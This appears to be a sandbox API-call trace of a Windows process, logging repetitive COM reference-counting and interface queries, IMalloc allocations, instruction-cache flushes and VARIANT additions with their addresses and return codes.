	[0053.817] RtlAddFunctionTable (FunctionTable=0x76f73ac, EntryCount=0x1, BaseAddress=0x76f7300, TargetGp=0x27c2bc) returned 1
	[0053.817] IUnknown:AddRef (This=0xbb2ba28) returned 0x3
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e8 | out: ppvObject=0x27d6e8*=0x0) returned 0x80004002
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e0 | out: ppvObject=0x27d6e0*=0x0) returned 0x80004002
	[0053.817] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.817] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e8 | out: ppvObject=0x27d6e8*=0x0) returned 0x80004002
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e0 | out: ppvObject=0x27d6e0*=0x0) returned 0x80004002
	[0053.817] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.817] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e8 | out: ppvObject=0x27d6e8*=0x0) returned 0x80004002
	[0053.817] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e0 | out: ppvObject=0x27d6e0*=0x0) returned 0x80004002
	[0053.817] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.817] VirtualFree (lpAddress=0x69b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0053.818] IMalloc:Free (This=0x7feffc15380, pv=0xbd2fac0) 
	[0053.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb710c10
	[0053.818] IMalloc:Free (This=0x7feffc15380, pv=0xb710c10) 
	[0053.818] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e8 | out: ppvObject=0x27d6e8*=0x0) returned 0x80004002
	[0053.818] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d6e0 | out: ppvObject=0x27d6e0*=0x0) returned 0x80004002
	[0053.818] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.819] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe580a0, cb=0x9e) returned 0xbe580a0
	[0053.819] IMalloc:Free (This=0x7feffc15380, pv=0xbeee410) 
	[0053.819] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.819] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb820df9, dwSize=0x8) returned 1
	[0053.819] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.819] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb820df8, dwSize=0x8) returned 1
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.819] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.819] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.819] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.819] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.819] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.819] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.819] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.819] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d588 | out: ppvObject=0x27d588*=0x0) returned 0x80004002
	[0053.819] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d580 | out: ppvObject=0x27d580*=0x0) returned 0x80004002
	[0053.820] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.820] IMalloc:Realloc (This=0x7feffc15380, pv=0xc217230, cb=0x800) returned 0xbd01c00
	[0053.820] IMalloc:Realloc (This=0x7feffc15380, pv=0xb927270, cb=0x17e) returned 0xb927270
	[0053.821] IMalloc:Free (This=0x7feffc15380, pv=0xbeee050) 
	[0053.821] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.821] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb822529, dwSize=0x8) returned 1
	[0053.821] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.821] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb822528, dwSize=0x8) returned 1
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d428 | out: ppvObject=0x27d428*=0x0) returned 0x80004002
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d420 | out: ppvObject=0x27d420*=0x0) returned 0x80004002
	[0053.821] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.821] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d428 | out: ppvObject=0x27d428*=0x0) returned 0x80004002
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d420 | out: ppvObject=0x27d420*=0x0) returned 0x80004002
	[0053.821] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.821] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d428 | out: ppvObject=0x27d428*=0x0) returned 0x80004002
	[0053.821] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d420 | out: ppvObject=0x27d420*=0x0) returned 0x80004002
	[0053.821] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.821] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.821] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d428 | out: ppvObject=0x27d428*=0x0) returned 0x80004002
	[0053.821] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d420 | out: ppvObject=0x27d420*=0x0) returned 0x80004002
	[0053.821] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.822] IMalloc:Realloc (This=0x7feffc15380, pv=0xb927400, cb=0x90) returned 0xb927400
	[0053.822] IMalloc:Free (This=0x7feffc15380, pv=0xbeee2f0) 
	[0053.822] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.822] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8212a1, dwSize=0x8) returned 1
	[0053.822] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.822] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8212a0, dwSize=0x8) returned 1
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.822] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.822] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.822] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.822] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.822] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.822] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.822] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.822] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.822] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.822] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.823] IMalloc:Realloc (This=0x7feffc15380, pv=0xb9274a0, cb=0x90) returned 0xb9274a0
	[0053.823] IMalloc:Free (This=0x7feffc15380, pv=0xbeee290) 
	[0053.823] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.823] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8203e1, dwSize=0x8) returned 1
	[0053.823] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.823] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8203e0, dwSize=0x8) returned 1
	[0053.823] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.823] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.823] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.824] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.824] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.824] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.824] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.824] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.824] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.824] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.824] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.824] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.824] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.824] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.824] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.824] VarAdd (in: pvarLeft=0xbb1f688, pvarRight=0xbb1f670, pvarResult=0xbb1f658 | out: pvarResult=0xbb1f658) returned 0x0
	[0053.825] IMalloc:Realloc (This=0x7feffc15380, pv=0x25b6a80, cb=0x90) returned 0x25b6a80
	[0053.825] IMalloc:Free (This=0x7feffc15380, pv=0xbeee530) 
	[0053.825] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.825] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8204c9, dwSize=0x8) returned 1
	[0053.825] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.825] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8204c8, dwSize=0x8) returned 1
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.825] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.825] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.825] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.825] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.825] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.825] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.825] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.825] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.825] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.825] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.826] VarAdd (in: pvarLeft=0xbb1f658, pvarRight=0xbb1f640, pvarResult=0xbb1f628 | out: pvarResult=0xbb1f628) returned 0x0
	[0053.826] IMalloc:Realloc (This=0x7feffc15380, pv=0x24ff690, cb=0x90) returned 0x24ff690
	[0053.826] IMalloc:Free (This=0x7feffc15380, pv=0xbeee4d0) 
	[0053.826] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.826] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8221f1, dwSize=0x8) returned 1
	[0053.826] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.826] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8221f0, dwSize=0x8) returned 1
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.826] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.826] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.826] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.826] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.826] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.827] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.827] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.827] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.827] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.827] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.827] VarAdd (in: pvarLeft=0xbb1f628, pvarRight=0xbb1f610, pvarResult=0xbb1f5f8 | out: pvarResult=0xbb1f5f8) returned 0x0
	[0053.827] IMalloc:Realloc (This=0x7feffc15380, pv=0xb9e6010, cb=0x2000) returned 0x4e5b080
	[0053.827] IMalloc:Realloc (This=0x7feffc15380, pv=0xbc3ae70, cb=0x200) returned 0xbd61240
